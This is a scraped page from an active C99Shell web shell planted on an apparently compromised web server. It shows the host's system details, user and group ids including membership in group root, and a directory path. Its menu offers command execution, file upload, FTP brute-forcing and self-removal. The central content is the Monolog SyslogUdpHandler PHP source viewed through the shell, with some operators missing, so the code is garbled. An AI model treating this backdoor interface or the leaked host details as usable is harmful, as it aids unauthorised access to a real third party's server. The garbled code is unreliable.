!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/monolog/monolog/src/Monolog/Handler/   drwxr-xr-x
Free 28.48 GB of 117.98 GB (24.14%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SyslogUdpHandler.php (4.62 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php declare(strict_types=1);

/*
 * This file is part of the Monolog package.
 *
 * (c) Jordi Boggiano <j.boggiano@seld.be>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Monolog\Handler;

use 
DateTimeInterface;
use 
Monolog\Handler\SyslogUdp\UdpSocket;
use 
Monolog\Level;
use 
Monolog\LogRecord;
use 
Monolog\Utils;

/**
 * A Handler for logging to a remote syslogd server.
 *
 * @author Jesper Skovgaard Nielsen <nulpunkt@gmail.com>
 * @author Dominik Kukacka <dominik.kukacka@gmail.com>
 */
class SyslogUdpHandler extends AbstractSyslogHandler
{
    const 
RFC3164 0;
    const 
RFC5424 1;
    const 
RFC5424e 2;

    
/** @var array<self::RFC*, string> */
    
private array $dateFormats = [
        
self::RFC3164 => 'M d H:i:s',
        
self::RFC5424 => \DateTime::RFC3339,
        
self::RFC5424e => \DateTime::RFC3339_EXTENDED,
    ];

    protected 
UdpSocket $socket;
    protected 
string $ident;
    
/** @var self::RFC* */
    
protected int $rfc;

    
/**
     * @param  string                    $host     Either IP/hostname or a path to a unix socket (port must be 0 then)
     * @param  int                       $port     Port number, or 0 if $host is a unix socket
     * @param  string|int                $facility Either one of the names of the keys in $this->facilities, or a LOG_* facility constant
     * @param  bool                      $bubble   Whether the messages that are handled can bubble up the stack or not
     * @param  string                    $ident    Program name or tag for each log message.
     * @param  int                       $rfc      RFC to format the message for.
     * @throws MissingExtensionException when there is no socket extension
     *
     * @phpstan-param self::RFC* $rfc
     */
    
public function __construct(string $hostint $port 514string|int $facility LOG_USERint|string|Level $level Level::Debugbool $bubble truestring $ident 'php'int $rfc self::RFC5424)
    {
        if (!
extension_loaded('sockets')) {
            throw new 
MissingExtensionException('The sockets extension is required to use the SyslogUdpHandler');
        }

        
parent::__construct($facility$level$bubble);

        
$this->ident $ident;
        
$this->rfc $rfc;

        
$this->socket = new UdpSocket($host$port);
    }

    protected function 
write(LogRecord $record): void
    
{
        
$lines $this->splitMessageIntoLines($record->formatted);

        
$header $this->makeCommonSyslogHeader($this->toSyslogPriority($record->level), $record->datetime);

        foreach (
$lines as $line) {
            
$this->socket->write($line$header);
        }
    }

    public function 
close(): void
    
{
        
$this->socket->close();
    }

    
/**
     * @param  string|string[] $message
     * @return string[]
     */
    
private function splitMessageIntoLines($message): array
    {
        if (
is_array($message)) {
            
$message implode("\n"$message);
        }

        
$lines preg_split('/$\R?^/m', (string) $message, -1PREG_SPLIT_NO_EMPTY);
        if (
false === $lines) {
            
$pcreErrorCode preg_last_error();

            throw new 
\RuntimeException('Could not preg_split: ' $pcreErrorCode ' / ' Utils::pcreLastErrorMessage($pcreErrorCode));
        }

        return 
$lines;
    }

    
/**
     * Make common syslog header (see rfc5424 or rfc3164)
     */
    
protected function makeCommonSyslogHeader(int $severityDateTimeInterface $datetime): string
    
{
        
$priority $severity $this->facility;

        
$pid getmypid();
        if (
false === $pid) {
            
$pid '-';
        }

        
$hostname gethostname();
        if (
false === $hostname) {
            
$hostname '-';
        }

        if (
$this->rfc === self::RFC3164) {
            
// see https://github.com/phpstan/phpstan/issues/5348
            // @phpstan-ignore-next-line
            
$dateNew $datetime->setTimezone(new \DateTimeZone('UTC'));
            
$date $dateNew->format($this->dateFormats[$this->rfc]);

            return 
"<$priority>" .
                
$date " " .
                
$hostname " " .
                
$this->ident "[" $pid "]: ";
        }

        
$date $datetime->format($this->dateFormats[$this->rfc]);

        return 
"<$priority>1 " .
            
$date " " .
            
$hostname " " .
            
$this->ident " " .
            
$pid " - - ";
    }

    
/**
     * Inject your own socket, mainly used for testing
     *
     * @return $this
     */
    
public function setSocket(UdpSocket $socket): self
    
{
        
$this->socket $socket;

        return 
$this;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0042 ]--